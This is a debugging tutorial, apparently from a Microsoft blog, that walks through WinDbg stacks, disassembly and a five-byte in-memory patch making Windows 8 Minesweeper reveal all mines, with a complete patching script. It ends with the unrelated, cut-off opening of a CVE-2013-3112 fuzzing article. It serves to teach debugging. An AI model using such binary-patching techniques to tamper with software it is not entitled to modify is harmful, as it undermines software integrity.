Minesweeper.MvvmStructure.View.Controls.SettingsControl.Connect\(Int32,
System.Object\)

04a6ec34 30b5edda  
DomainNeutralILStubClass.IL\_STUB\_WinRTtoCLR\(Int32, IntPtr\)

04a6ed00 61172a79 \[ComMethodFrame: 04a6ed00\]

04a6f378 61172a79 \[InlinedCallFrame: 04a6f378\]

04a6f374 30b32605  
DomainNeutralILStubClass.IL\_STUB\_CLRtoWinRT\(System.Object, System.Uri,  
Windows.UI.Xaml.Controls.Primitives.ComponentResourceLocation\)

04a6f378 51e9a088 \[InlinedCallFrame: 04a6f378\]  
Windows.UI.Xaml.Application.LoadComponent\(System.Object, System.Uri,  
Windows.UI.Xaml.Controls.Primitives.ComponentResourceLocation\)

04a6f3dc 51e9a088
Minesweeper.MvvmStructure.View.Controls.SettingsControl.InitializeComponent\(\)

04a6f3ec 51e98c07  
Minesweeper.MvvmStructure.View.Controls.SettingsControl..ctor\(\)

04a6f404 51ea238c  
Minesweeper.MvvmStructure.Service.SettingsService.OnSettings\(Windows.UI.Popups.IUICommand\)

04a6f414 51ea1ff7  
Minesweeper.MvvmStructure.Service.SettingsService.ShowSettings\(\)

04a6f418 0f758eea  
Common.Base.ArkPage.ShowSettings\(\)

04a6f420 0f745ad9  
Common.KeyboardProcessor.Process\(System.Collections.Generic.List\`1<Windows.System.VirtualKey>\)

04a6f430 0f746129  
Common.KeyboardProcessor.CoreWindowKeyDown\(Windows.UI.Core.CoreWindow,  
Windows.UI.Core.KeyEventArgs\)

04a6f448 51d94df7  
DomainNeutralILStubClass.IL\_STUB\_WinRTtoCLR\(IntPtr, IntPtr\)

04a6f518 61172a79 \[ComMethodFrame: 04a6f518\]

\- From above we see that **Connect**\(\) is called from
**InitializeComponent**\(\).  
Back to ILSpy we can see the source...

//  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

\[GeneratedCode\("Microsoft.Windows.UI.Xaml.Build.Tasks",  
" 4.0.0.0"\), DebuggerNonUserCode\]

public void **InitializeComponent**\(\)

if\(this.\_contentLoaded\)

return;

this.\_contentLoaded = true;

Application.LoadComponent\(this, new Uri\("ms-
appx:///MvvmStructure/View/Controls/SettingsControl.xaml"\),  
0\);

this.SoundsSlider = \(ExtendedSlider\)base.FindName\("SoundsSlider"\);

this.TsTips = \(ToggleSwitch\)base.FindName\("TsTips"\);

this.TsTimer = \(ToggleSwitch\)base.FindName\("TsTimer"\);

this.TsQuestionMark = \(ToggleSwitch\)base.FindName\("TsQuestionMark"\);

this.TsOneTap = \(ToggleSwitch\)base.FindName\("TsOneTap"\);

this.TsQuickModeChange = \(ToggleSwitch\)base.FindName\("TsQuickModeChange"\);

this.TsUseSwipeInControls =
\(ToggleSwitch\)base.FindName\("TsUseSwipeInControls"\);

this.TsGameEndAnimations =
\(ToggleSwitch\)base.FindName\("TsGameEndAnimations"\);

this.HoldSlider = \(ExtendedSlider\)base.FindName\("HoldSlider"\);

this.btnResetSettings = \(Button\)base.FindName\("btnResetSettings"\);

this.btnResetStat = \(Button\)base.FindName\("btnResetStat"\);

this.cheatsGrid = \(Grid\)base.FindName\("cheatsGrid"\);

this.cheatAwardsList = \(ComboBox\)base.FindName\("cheatAwardsList"\);

\- **Application.LoadComponent**\(\) extracts information from
MvvmStructure/View/Controls/SettingsControl.xaml calling **Connect\(\)**

We can see that from the Native call stack:

**kcn 1000**

00
Minesweeper\_ni\!Minesweeper.MvvmStructure.View.Controls.SettingsControl.Connect\(Int32,  
System.Object\)

01  
Windows\_UI\_Xaml\_ni\!DomainNeutralILStubClass.IL\_STUB\_WinRTtoCLR\(Int32,
IntPtr\)

02 clr\!COMToCLRDispatchHelper

03 clr\!InvokeStub

04 clr\!COMToCLRInvokeTarget

05 clr\!COMToCLRWorkerBody

06 clr\!COMToCLRWorker

07 CLRStub\[StubLinkStub\]@31a7cbdf004da062

08  
Windows\_UI\_Xaml\!DirectUI::XamlParserCallbacks::XamlManagedRuntimeRPInvokes\_SetConnectionId

09  
Windows\_UI\_Xaml\!CFxCallbacks::XamlManagedRuntimeRPInvokes\_SetConnectionId

0a  
Windows\_UI\_Xaml\!XamlManagedRuntime::SetConnectionId

0b  
Windows\_UI\_Xaml\!ObjectWriterContext::Runtime\_SetConnectionId

0c  
Windows\_UI\_Xaml\!ObjectWriter::Logic\_DoAssignmentToParentProperty

0d  
Windows\_UI\_Xaml\!ObjectWriter::WriteEndMemberCore

0e Windows\_UI\_Xaml\!XamlWriter::WriteNode

0f Windows\_UI\_Xaml\!CParser::LoadXamlCore

10 Windows\_UI\_Xaml\!CParser::LoadXaml

11 Windows\_UI\_Xaml\!CParser::LoadXaml

12  
Windows\_UI\_Xaml\!CCoreServices::ParseXamlWithExistingFrameworkRoot

13 Windows\_UI\_Xaml\!CApplication::LoadComponent

14 Windows\_UI\_Xaml\!Application\_LoadComponent

15 Windows\_UI\_Xaml\!DirectUI::Application::LoadComponent

16  
Windows\_UI\_Xaml\!DirectUI::ApplicationFactory::LoadComponentWithResourceLocationImpl

17  
Windows\_UI\_Xaml\!DirectUI::ApplicationFactory::LoadComponentWithResourceLocation

18  
Windows\_UI\_Xaml\_ni\!DomainNeutralILStubClass.IL\_STUB\_CLRtoWinRT\(System.Object,  
System.Uri, Windows.UI.Xaml.Controls.Primitives.ComponentResourceLocation\)

19
Minesweeper\_ni\!Minesweeper.MvvmStructure.View.Controls.SettingsControl.InitializeComponent\(\)

1a  
Minesweeper\_ni\!Minesweeper.MvvmStructure.View.Controls.SettingsControl..ctor\(\)

1b  
Minesweeper\_ni\!Minesweeper.MvvmStructure.Service.SettingsService.OnSettings\(Windows.UI.Popups.IUICommand\)

1c
Minesweeper\_ni\!Minesweeper.MvvmStructure.Service.SettingsService.ShowSettings\(\)

1d Common\_ni\!Common.Base.ArkPage.ShowSettings\(\)

1e  
Common\_ni\!Common.KeyboardProcessor.Process\(System.Collections.Generic.List\`1<Windows.System.VirtualKey>\)

1f
Common\_ni\!Common.KeyboardProcessor.CoreWindowKeyDown\(Windows.UI.Core.CoreWindow,  
Windows.UI.Core.KeyEventArgs\)

20  
Windows\_UI\_ni\!DomainNeutralILStubClass.IL\_STUB\_WinRTtoCLR\(IntPtr,
IntPtr\)

\- Let's analyze the parameters from the **Connect**\(\) object...

**\!clrstack -a**

OS Thread Id: 0x75e8 \(6\)

Child SP  
IP Call Site

04a6ec2c 51e9a364  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.Connect\(Int32,  
System.Object\)

PARAMETERS:

this \(<CLR reg>\) =  
0x2a78a244

connectionId \(<CLR reg>\) =  
0x00000001

target  
\(0x04a6ec30\) = 0x2a78b880

LOCALS:

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

04a6ec34 30b5edda  
DomainNeutralILStubClass.IL\_STUB\_WinRTtoCLR\(Int32, IntPtr\)

PARAMETERS:

this = <no data>

<no data>

<no data>

04a6ed00 61172a79 \[ComMethodFrame: 04a6ed00\]

04a6f378 61172a79 \[InlinedCallFrame: 04a6f378\]

04a6f374 30b32605  
DomainNeutralILStubClass.IL\_STUB\_CLRtoWinRT\(System.Object, System.Uri,  
Windows.UI.Xaml.Controls.Primitives.ComponentResourceLocation\)

PARAMETERS:

<no data>

<no data>

<no  
data>

04a6f378 51e9a088 \[InlinedCallFrame: 04a6f378\]  
Windows.UI.Xaml.Application.LoadComponent\(System.Object, System.Uri,  
Windows.UI.Xaml.Controls.Primitives.ComponentResourceLocation\)

04a6f3dc 51e9a088  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.InitializeComponent\(\)

PARAMETERS:

this \(<CLR reg>\) = 0x2a78a244

04a6f3ec 51e98c07
Minesweeper.MvvmStructure.View.Controls.SettingsControl..ctor\(\)

PARAMETERS:

this \(<CLR reg>\) = 0x2a78a244

LOCALS:

<no data>

<no data>

04a6f404 51ea238c  
Minesweeper.MvvmStructure.Service.SettingsService.OnSettings\(Windows.UI.Popups.IUICommand\)

PARAMETERS:

this \(<CLR reg>\) = 0x02397b6c

command = <no data>

04a6f414 51ea1ff7  
Minesweeper.MvvmStructure.Service.SettingsService.ShowSettings\(\)

PARAMETERS:

this = <no data>

04a6f418 0f758eea Common.Base.ArkPage.ShowSettings\(\)

PARAMETERS:

this = <no data>

04a6f420 0f745ad9  
Common.KeyboardProcessor.Process\(System.Collections.Generic.List\`1<Windows.System.VirtualKey>\)

PARAMETERS:

this = <no data>

keys = <no data>

LOCALS:

<no data>

<no data>

04a6f430 0f746129  
Common.KeyboardProcessor.CoreWindowKeyDown\(Windows.UI.Core.CoreWindow,  
Windows.UI.Core.KeyEventArgs\)

PARAMETERS:

this = <no data>

sender = <no data>

args = <no data>

LOCALS:

<no data>

<no data>

04a6f448 51d94df7  
DomainNeutralILStubClass.IL\_STUB\_WinRTtoCLR\(IntPtr, IntPtr\)

PARAMETERS:

this = <no data>

<no data>

<no data>

04a6f518 61172a79 \[ComMethodFrame: 04a6f518\]

\- **" this" **pointer implicitly sent to the method:

**\!do 0x2a78a244**

Name:  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

MethodTable: 51dc8bc8

EEClass:  
51dd130c

RCW:  
121ec0e8

CCW:  
020b7820

Size:  
76\(0x4c\) bytes

File:  
C:\Program  
Files\WindowsApps\Microsoft.MicrosoftMinesweeper\_2.2.1401.2303\_x86\_\_8wekyb3d8bbwe\Minesweeper.exe

Fields:

MT Field Offset Type VT Attr  
Value Name

604026a4  
400019a 4 System.Object 0 instance 00000000 \_\_identity

60404738  
40002af 8  
...ections.Hashtable 0 instance 00000000  
m\_ObjectToDataMap

603fb4c0  
400002f 10 System.Boolean 1 instance 0 \_alreadyHidden

0f7be948  
4000033 c ...Control,  
Common\]\] 0 instance 00000000 OnHide

603fb4c0  
4000030 1d0 System.Boolean 1  
static 0  
\_isCustomNavigationWasActive

603fb4c0  
4000031 1d1 System.Boolean 1  
static 0  
\_isCustomNavigationWasFreezed

603fb4c0  
4000032 1d2 System.Boolean 1  
static 0 \_localNavigationChanges

0f67b1e4  
4000034 18  
...ingsFlyoutControl 0 static 00000000  
<CurrentFlyout>k\_\_BackingField

603fb4c0  
400020e 11 System.Boolean 1 instance 0 \_isLoaded

0f67c2ec  
400020f 14  
...ls.ExtendedSlider 0 instance 00000000  
SoundsSlider

308c18a0  
4000210 18  
...rols.ToggleSwitch 0 instance 00000000  
TsTips

308c18a0  
4000211 1c  
...rols.ToggleSwitch 0 instance 00000000  
TsTimer

308c18a0  
4000212 20  
...rols.ToggleSwitch 0 instance 00000000  
TsQuestionMark

308c18a0  
4000213 24  
...rols.ToggleSwitch 0 instance 00000000  
TsOneTap

308c18a0  
4000214 28  
...rols.ToggleSwitch 0 instance 00000000  
TsQuickModeChange

308c18a0  
4000215 2c  
...rols.ToggleSwitch 0 instance 00000000  
TsUseSwipeInControls

308c18a0  
4000216 30  
...rols.ToggleSwitch 0 instance 00000000  
TsGameEndAnimations

0f67c2ec  
4000217 34  
...ls.ExtendedSlider 0 instance 00000000  
HoldSlider

308c1bec  
4000218 38  
...l.Controls.Button 0 instance 00000000  
btnResetSettings

308c1bec  
4000219 3c  
...l.Controls.Button 0 instance 00000000  
btnResetStat

308bb4e8 400021a  
40 ...aml.Controls.Grid 0  
instance 00000000 cheatsGrid

308c22a0  
400021b 44  
...Controls.ComboBox 0 instance 00000000  
cheatAwardsList

603fb4c0  
400021c 12 System.Boolean 1 instance 1 \_contentLoaded

0baa2ee0  
400021d 130 ...ouble,  
mscorlib\]\] 0 static 0273a32c  
CS$<>9\_\_CachedAnonymousMethodDelegate28

\- "target" \- 2nd parameter:

**\!do 0x2a78b880**

Name: Common.Controls.ExtendedSlider

MethodTable: 0f67c2ec

EEClass:  
0f688f88

RCW:  
121ecc10

CCW:  
0fbee600

Size:  
20\(0x14\) bytes

File:  
C:\Program  
Files\WindowsApps\Microsoft.MicrosoftMinesweeper\_2.2.1401.2303\_x86\_\_8wekyb3d8bbwe\Common.DLL

Fields:

MT Field Offset Type VT Attr  
Value Name

604026a4  
400019a 4 System.Object 0 instance 00000000 \_\_identity

60404738  
40002af 8  
...ections.Hashtable 0 instance 00000000  
m\_ObjectToDataMap

0f7baea8  
40001ab c  
...geCompleteHandler 0 instance 00000000  
ValueChangeComplete

\- The 1st parameter is:

connectionId \(<CLR reg>\) = 0x00000001

\- Because of the "case" in the  
Connect\(\) body, chances are the Connect\(\) method will be called with other  
values, so let's continue the execution and analyze...

**r**

eax=2a78bb3c ebx=00000008 ecx=2a78a244 edx=00000002 esi=2a78a244  
edi=00000002 eip=51e9a364 esp=04a6ec2c ebp=04a6ec54

iopl=0 nv up ei pl zr na pe nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246

Minesweeper\_ni\!Minesweeper.MvvmStructure.View.Controls.SettingsControl.Connect\(Int32,  
System.Object\):

51e9a364 55 push ebp

\- **edx** = 0x2, **ecx** \(this pointer\) = 0x2a78a244

\- Another way to see the same information...

**\!clrstack -a**

OS Thread Id: 0x75e8 \(6\)

Child SP  
IP Call Site

04a6ec2c 51e9a364  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.Connect\(Int32,  
System.Object\)

PARAMETERS:

this \(<CLR reg>\) = 0x2a78a244

connectionId \(<CLR reg>\) =  
0x00000002

target \(0x04a6ec30\) =  
0x2a78bb3c

LOCALS:

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no data>

<no  
data>

<no data>

\- After hitting the breakpoint a few more times until **edx == 0xc \(0n12\)**
we have:

Breakpoint 1 hit

eax=2a791550 ebx=00000008 ecx=2a78a244 edx=0000000c esi=2a78a244 edi=0000000c

eip=51e9a364 esp=04a6ec2c ebp=04a6ec54 iopl=0 nv up ei pl zr na pe nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246

Minesweeper\_ni\!Minesweeper.MvvmStructure.View.Controls.SettingsControl.Connect\(Int32,  
System.Object\):

51e9a364 55 push ebp

\- So we just proved that scenario 12 where the **EventHandler
CheatShowBombs\(\)** is mapped happens when the other Events are also mapped.

\- "this" instance again:

**\!do 0x2a78a244**

Name:  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

MethodTable: 51dc8bc8

EEClass:  
51dd130c

RCW:  
121ec0e8

CCW:  
020b7820

Size:  
76\(0x4c\) bytes

File:  
C:\Program  
Files\WindowsApps\Microsoft.MicrosoftMinesweeper\_2.2.1401.2303\_x86\_\_8wekyb3d8bbwe\Minesweeper.exe

Fields:

MT Field Offset Type VT Attr  
Value Name

604026a4  
400019a 4 System.Object 0 instance 00000000 \_\_identity

60404738  
40002af 8  
...ections.Hashtable 0 instance 00000000  
m\_ObjectToDataMap

603fb4c0  
400002f 10 System.Boolean 1 instance 0 \_alreadyHidden

0f7be948 4000033  
c ...Control, Common\]\] 0 instance  
00000000 OnHide

603fb4c0  
4000030 1d0 System.Boolean 1  
static 0  
\_isCustomNavigationWasActive

603fb4c0  
4000031 1d1 System.Boolean 1  
static 0  
\_isCustomNavigationWasFreezed

603fb4c0  
4000032 1d2 System.Boolean 1  
static 0  
\_localNavigationChanges

0f67b1e4  
4000034 18  
...ingsFlyoutControl 0 static 00000000  
<CurrentFlyout>k\_\_BackingField

603fb4c0  
400020e 11 System.Boolean 1 instance 0 \_isLoaded

0f67c2ec  
400020f 14  
...ls.ExtendedSlider 0 instance 00000000  
SoundsSlider

308c18a0  
4000210 18  
...rols.ToggleSwitch 0 instance 00000000  
TsTips

308c18a0  
4000211 1c  
...rols.ToggleSwitch 0 instance 00000000  
TsTimer

308c18a0  
4000212 20  
...rols.ToggleSwitch 0 instance 00000000  
TsQuestionMark

308c18a0  
4000213 24  
...rols.ToggleSwitch 0 instance 00000000  
TsOneTap

308c18a0  
4000214 28  
...rols.ToggleSwitch 0 instance 00000000  
TsQuickModeChange

308c18a0  
4000215 2c  
...rols.ToggleSwitch 0 instance 00000000  
TsUseSwipeInControls

308c18a0  
4000216 30  
...rols.ToggleSwitch 0 instance 00000000  
TsGameEndAnimations

0f67c2ec  
4000217 34  
...ls.ExtendedSlider 0 instance 00000000  
HoldSlider

308c1bec  
4000218 38  
...l.Controls.Button 0 instance 00000000  
btnResetSettings

308c1bec  
4000219 3c  
...l.Controls.Button 0 instance 00000000  
btnResetStat

308bb4e8 400021a  
40 ...aml.Controls.Grid 0  
instance 00000000 cheatsGrid

308c22a0 400021b  
44 ...Controls.ComboBox 0  
instance 00000000 cheatAwardsList

603fb4c0  
400021c 12 System.Boolean 1 instance 1 \_contentLoaded

0baa2ee0  
400021d 130 ...ouble,  
mscorlib\]\] 0 static 0273a32c  
CS$<>9\_\_CachedAnonymousMethodDelegate28

\- Managed objects from the call stack:

**\!dso**

OS Thread Id: 0x75e8 \(6\)

ESP/REG  
Object Name

eax  
2a88cffc Windows.UI.Xaml.Controls.Button

ecx  
2a8896b0 Minesweeper.MvvmStructure.View.Controls.SettingsControl

esi  
2a8896b0 Minesweeper.MvvmStructure.View.Controls.SettingsControl

04A6EC30 2a88cffc Windows.UI.Xaml.Controls.Button

04A6ECA8 2a8896b0  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

04A6F394 022a1a48 System.\_\_ComObject

04A6F398 2a8896b0 Minesweeper.MvvmStructure.View.Controls.SettingsControl

04A6F3BC 2a889db0 System.Uri

04A6F3C8 2a8896b0  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

04A6F3CC 2a889db0 System.Uri

04A6F3DC 2a8896b0  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

04A6F3E0 2a8896b0 Minesweeper.MvvmStructure.View.Controls.SettingsControl

04A6F3F4 02397b6c  
Minesweeper.MvvmStructure.Service.SettingsService

04A6F3F8 2a8896b0  
Minesweeper.MvvmStructure.View.Controls.SettingsControl

04A6F404 0286f7a4  
GalaSoft.MvvmLight.Helpers.WeakAction

04A6F408 2a88969c System.String F5

04A6F420 023718c8  
System.Collections.Generic.List\`1\[\[Windows.System.VirtualKey,
Windows.System\]\]

04A6F424 0237188c Common.KeyboardProcessor

04A6F434 02371b30  
Windows.Foundation.TypedEventHandler\`2\[\[Windows.UI.Core.CoreWindow,  
Windows.UI\],\[Windows.UI.Core.KeyEventArgs, Windows.UI\]\]

04A6F438 02397e58 Windows.UI.Core.CoreWindow

04A6F444 2a88943c Windows.UI.Core.KeyEventArgs

04A6F4C0 02371b30  
Windows.Foundation.TypedEventHandler\`2\[\[Windows.UI.Core.CoreWindow,  
Windows.UI\],\[Windows.UI.Core.KeyEventArgs, Windows.UI\]\]

\- The goal is to replace this:

**case 2:**

ToggleSwitch  
toggleSwitch = \(ToggleSwitch\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler, EventRegistrationToken>\(toggleSwitch.add\_Toggled\),  
new Action<EventRegistrationToken>\(toggleSwitch.remove\_Toggled\), new
RoutedEventHandler\(this.TipsOnOffToggled\)\);

break;

For this \(extracted from **case 12**\):

**case 2:**

ToggleSwitch  
toggleSwitch = \(ToggleSwitch\)target;

WindowsRuntimeMarshal.AddEventHandler<RoutedEventHandler>\(new  
Func<RoutedEventHandler,  
EventRegistrationToken>\(toggleSwitch.add\_Toggled\), new  
Action<EventRegistrationToken>\(toggleSwitch.remove\_Toggled\), new
RoutedEventHandler\(this.CheatShowBombs\)\);

break;

\- If we accomplish that when we press **F5** and select the switch to enable
**Tips**\(if not enabled already\), it activates the cheat.

\- Run until edx = 0x2 and then we go line by line...

**Note:** The binary code has the reversed conditions like if/case when
compared to the source code. So the switch/case treats the highest case number
first to the lowest case number.

\- Disassembled code for **Case 2** :

51a4a4d3 8bd8 mov ebx,eax

51a4a4d5 ff3520b09751 push  
dword ptr \[Minesweeper\_ni+0xb020 \(5197b020\)\]

51a4a4db 8bcb mov ecx,ebx

51a4a4dd 8b55e8 mov edx,dword ptr \[ebp-18h\]

51a4a4e0 e8539ff5ff call  
CLRStub\[ExternalMethodThunk\]@3e96c41e519a4438 \(519a4438\)

51a4a4e5 8b0d98b49751 mov  
ecx,dword ptr \[Minesweeper\_ni+0xb498 \(5197b498\)\]

51a4a4eb e8f8b7f5ff call  
CORINFO\_HELP\_NEWSFAST \(519a5ce8\)

51a4a4f0 898530ffffff mov  
dword ptr \[ebp-0D0h\],eax

51a4a4f6 b854a39a51 mov eax,offset  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.TipsOnOffToggled\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\) \(519aa354\)

51a4a4fb 50 push eax

\- Too much work, so let's locate the address of the two methods we are
interested, so we can search for them using the disassembled code:

Entry

519aa354 5198f474 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.**TipsOnOffToggled**\(System.Object,
Windows.UI.Xaml.RoutedEventArgs\)

519aa3b4 5198f4bc PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.**CheatShowBombs**\(System.Object,
Windows.UI.Xaml.RoutedEventArgs\)

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/1803.dbg_5F00_3.png' />

\- Disassembled code for **case 12** :

51a4ac59 8b0d98b19751 mov  
ecx,dword ptr \[Minesweeper\_ni+0xb198 \(5197b198\)\]

51a4ac5f e884b0f5ff call  
CORINFO\_HELP\_NEWSFAST \(519a5ce8\)

51a4ac64 8bd8 mov ebx,eax

51a4ac66 ff35e0af9751 push  
dword ptr \[Minesweeper\_ni+0xafe0 \(5197afe0\)\]

51a4ac6c 8bcb mov ecx,ebx

51a4ac6e 8b55b8 mov edx,dword ptr \[ebp-48h\]

51a4ac71 e8c297f5ff call  
CLRStub\[ExternalMethodThunk\]@3e96c41e519a4438 \(519a4438\)

51a4ac76 8b0d98b49751 mov  
ecx,dword ptr \[Minesweeper\_ni+0xb498 \(5197b498\)\]

51a4ac7c e867b0f5ff call  
CORINFO\_HELP\_NEWSFAST \(519a5ce8\)

51a4ac81 8bf0 mov esi,eax

51a4ac83 b8b4a39a51 mov eax,offset
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatShowBombs\(System.Object,
Windows.UI.Xaml.RoutedEventArgs\) \(519aa3b4\)

51a4ac88 50 push eax

51a4ac89 8bce mov ecx,esi

51a4ac8b 8bd7 mov edx,edi

51a4ac8d e8a697f5ff call  
CLRStub\[ExternalMethodThunk\]@3e96c41e519a4438 \(519a4438\)

51a4ac92 56 push esi

\- Now let's use the "**a** " command and perform the "surgery" replacing:

51a4a4f6 b854a39a51 **mov eax** ,offset  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.TipsOnOffToggled\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\) \(**519aa354**\)

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/7624.dbg_5F00_4.png' />

51a4a4f6 b8b4a39a51 **mov eax** ,offset  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatShowBombs\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\) \(**519aa3b4**\)

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/0636.dbg_5F00_5.png' />

\- To accomplish that we use **mov eax, <address>**

\- To test, start a new game, disable the breakpoints and click on any square.
Corner squares are better since they are less likely to hit a mine.

After doing that press **F5** and it will display all the mines.

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/8422.BoardPlaying.png' />

If you go to **Adventure Mode** you can press F5 before starting the game.

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-81-63/8267.BoardAdventure.png' />

**\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#**

**\#\#\#\# DEMO \#4**

**\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#**

\- To script the “surgery” we need to know the offset from the base address:

**lmv m Minesweeper\_ni**

start  
end module name

51970000 51ade000 Minesweeper\_ni C \(no symbols\)

Loaded  
symbol image file:  
C:\Users\rafarah\AppData\Local\Packages\microsoft.microsoftminesweeper\_8wekyb3d8bbwe\AC\Microsoft\CLR\_v4.0\_32\NativeImages\Minesweeper\b982501d5ce077af772c08f282070939\Minesweeper.ni.exe

Image  
path:  
C:\Users\rafarah\AppData\Local\Packages\microsoft.microsoftminesweeper\_8wekyb3d8bbwe\AC\Microsoft\CLR\_v4.0\_32\NativeImages\Minesweeper\b982501d5ce077af772c08f282070939\Minesweeper.ni.exe

Image  
name: Minesweeper.ni.exe

Using  
CLR debugging support for all symbols

Has CLR  
image header, track-debug-data flag not set

Timestamp: Thu Jan 23  
06:09:11 2014 \(52E12287\)

CheckSum: 00000000

ImageSize: 0016E000

File  
version: 1.0.0.0

Product  
version: 1.0.0.0

File  
flags: 0 \(Mask 3F\)

File  
OS: 4 Unknown Win32

File  
type: 1.0 App

File  
date: 00000000.00000000

Translations: 0000.04b0

CompanyName: Microsoft

ProductName: Minesweeper

InternalName: Minesweeper.exe

OriginalFilename: Minesweeper.exe

ProductVersion: 1.0.0.0

FileVersion: 1.0.0.0

FileDescription: Microsoft  
Minesweeper

LegalCopyright: Copyright © Microsoft 2012

Comments: Microsoft  
Minesweeper

**? 51a4a4f6 - 51970000**

Evaluate expression: 894198 = **000da4f6** <<< Offset.

And the other offset using the same procedure is: **000dac83**

Just to refresh your mind, the addresses above came from:

51a4a4f6 b854a39a51 mov eax,offset  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.TipsOnOffToggled\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\) \(519aa354\)

51a4ac83 b8b4a39a51 mov eax,offset
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatShowBombs\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\) \(519aa3b4\)

Since I restarted the app during the debugging session the addresses from the
screenshot are different from the text  
and so are the mnemonics below. Don’t worry about that since your address is
very likely to be different from mine anyways.

\- Offset **000da4f6** == <address> b854a37e56 mov eax,offset  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.**TipsOnOffToggled**\(System.Object,
Windows.UI.Xaml.RoutedEventArgs\)

\- Offset **000dac83** == <address> b8b4a37e56 mov eax,offset  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.**CheatShowBombs**\(System.Object,
Windows.UI.Xaml.RoutedEventArgs\)

\- We need to change 5 bytes, copying from one address to the other:

**m 5688ac83 L0n5 5688a4f6**

Where **5688ac83** is the address of _move eax, offset  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.**CheatShowBombs\(\)**_
and  
**5688a4f6** is the address of _move eax, offset_
_Minesweeper.MvvmStructure.View.Controls.SettingsControl.**TipsOnOffToggled\(\)**_

**Script source code:**

$$  
$$
=============================================================================  
$$ Cheats on Minesweeper for Windows 8, showing all hiden bombs.  
$$  
$$ Compatibility: Windows 8  
$$  
$$ Usage: $$>< to run the program.  
$$  
$$ Requirements: Public symbols.  
$$  
$$ Usage:  
$$ a\) Run Minesweeper for Windows 8.  
$$ b\) Go to the WinDbg folder \(32 bits version\) and run:  
$$ plmdebug /enableDebug <PID> "<path to you Windbg>\windbg.exe"  
$$ Reference: http://msdn.microsoft.com/en-
us/library/windows/hardware/jj680085%28v=vs.85%29.aspx  
$$ c\) Attach WinDbg to the Minesweeper instance.  
$$ d\) Load symbols.  
$$ e\) Type the "g" command and let it run to make sure all modules are
loaded.  
$$ f\) Break into the debugger at any point after loading the modules.  
$$ g\) Run: $$><myscripts\CHEATING\_MINESWEEPER\_WIN8.TXT  
$$ Note: In my case the right command line is:  
$$ $$><c:\debuggers32bit\myscripts\cheating\_minesweeper\_win8.txt  
$$ h\) Start a game, press F5 to go to Options, click the Alert switch.  
$$ i\) Return to the game, start it and press F5 do see the bombs.  
$$ j\) In Adventure Mode, just press F5 and you will se all the mines.  
$$  
$$ Roberto Alexis Farah  
$$ Blog: http://blogs.msdn.com/debuggingtoolbox/  
$$  
$$ All my scripts are provided "AS IS" with no warranties, and confer no
rights.  
$$
=============================================================================  
$$  
$$ Offset from base address to this line:  
$$ <address> b854a39a51 mov eax,offset
Minesweeper.MvvmStructure.View.Controls.SettingsControl.TipsOnOffToggled\(System.Object,
Windows.UI.Xaml.RoutedEventArgs\)  
r @$t0 = Minesweeper\_ni + 000da4f6  
$$  
$$ Offset from base address to this line:  
$$ <address> b8b4a37e56 mov eax,offset
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatShowBombs\(System.Object,
Windows.UI.Xaml.RoutedEventArgs\)  
r @$t1 = Minesweeper\_ni + 000dac83  
$$  
$$ Now we just copy 5 bytes from $t1 to $t0.  
m @$t1 L0n5 @$t0  
$$  
$$ Surgery done\! Now resume the application...  
gn

Enjoy\! :-\)

# CVE-2013-3112: From NULL to Control - Persistence ... - HP Enterprise
Business Community

**Created:**| _9/26/2013 6:54:56 PM_  
---|---  
**Updated:**| _9/26/2013 6:54:56 PM_  
**Author:**| __  
**Tags:**| _Exploit windows environment_  
  

# CVE-2013-3112: From NULL to Control - Persistence pays off with crashes****

Months ago, my fuzzer found a bug that was initially flagged as a NULL pointer
dereference**.** The crash instruction was different from the others, so I
decided to minimize the crash and have a closer look**.** Things got quite
